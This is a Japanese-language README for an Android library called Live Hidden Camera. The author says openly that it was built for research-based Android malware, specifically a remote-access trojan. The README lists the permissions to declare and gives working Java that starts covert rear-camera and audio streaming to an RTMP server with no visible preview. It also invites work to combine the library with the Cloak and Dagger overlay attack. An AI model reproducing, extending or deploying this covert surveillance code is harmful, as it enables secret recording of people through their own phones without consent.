
Live Hidden Cameraは、Android端末からプレビューを表示せずにライブビデオとオーディオを録画するライブラリです。
Live Hidden Camera (LHC) は、Android デバイスからプレビューを表示せずにライブビデオとオーディオを録画するライブラリです。

私は研究ベースのAndroidマルウェアに取り組んでおり、多機能RAT(リモート管理ツール)を作成することにしました。ライブストリームに取り組んでいたところ、以下のようなRTMPベースのオープンソースプロジェクトを見つけました:
これらのプロジェクトはすべて、RATの要件に基づいていくつかの問題を抱えていました。しかし共通していたのは、SurfaceView を含むアクティビティが必要なことでした。
そこで、私は探し始めました。最終的に、以下の2つのプロジェクトを組み合わせることで、ライブビデオをストリーミングするためにCONTEXTのみを必要とするLive Hidden Cameraを作成できました。
より使いやすくするためにライブラリを作成しました。唯一の要件は、ライブラリをプロジェクトに追加し、Rtmp URLを渡すことです。
また、以下の点に注意してください:
Manifest.xml に以下のパーミッションを宣言する必要があります:<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
ライブラリの使い方は簡単です。以下のライブラリをプロジェクトの gradle.build ファイルに追加するだけです。
compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'
Manifest 内でコメントアウトされています。ライブラリを使用する前に、Rtmpサーバーをデプロイしておく必要があります。私は Ant Media Server を使用しました。このリンク にAnt Media Serverのインストールに関する良いガイドがあります。
Ant Media Rtmpサーバーを起動すると、次のような画面が表示されます:

ライブラリをプロジェクトに追加した後、以下の手順を実行してください:
以下のインターフェースを実装するクラスを作成します: RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener
2つのフィールド(パブリッシュ用とプレビュー用)を作成します:
private SrsPublisher mPublisher;
private SrsCameraView mCameraView;
ライブ隠しカメラを開始する関数を実装します:
private void initHiddenCam(String rtmpURL) {
HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {
@Override
public void onPermissionNotGrantedException(Exception ex) {
Log.d("HCL", "Ask user to grant permission.");
Log.e("HCL", ex.getMessage());
}
});
//start config
CameraConfig cameraConfig = new CameraConfig()
.getBuilder(MainActivity.this.getApplicationContext())
.setCameraFacing(CameraFacing.REAR_FACING_CAMERA)
.build();
mCameraView = l.initHiddenLayout(cameraConfig);
mPublisher = new SrsPublisher(mCameraView);
mPublisher.setEncodeHandler(new SrsEncodeHandler(this));
mPublisher.setRtmpHandler(new RtmpHandler(this));
mPublisher.setRecordHandler(new SrsRecordHandler(this));
mPublisher.setPreviewResolution(640, 360);
mPublisher.setOutputResolution(640, 360);
mPublisher.setVideoHDMode();
mPublisher.startPublish(rtmpURL);
mPublisher.startCamera();
}
現在直面している主な問題は、グリーンスクリーンです。このエラーについては、StackOverflow (https://stackoverflow.com/questions/56380851/getting-green-image-while-preview-hidden-live-video) で説明しています。
この問題についての提案やその他のアイデアがあれば、遠慮なく連絡してください。
Live Hidden Cameraのオーバーレイのため、他のアプリをクリックできません。クリックはLHCのみ受け付けます。TODOセクションを確認してください。
Androidの非常に危険な能力を明らかにした Cloak and Dagger というプロジェクトがあります。LHCで Cloack and Dagger を使用するための貢献を歓迎します。
Cloak and Dagger についてはこちらを参照してください:
以下のBitCoinアドレスを使用してこのプロジェクトに寄付できます:
BitCoin:
1F5uiEmdCLJX5KktWHE1wkc63feKJYMmxS
私のウェブサイトから連絡できます: https://mstajbakhsh.ir/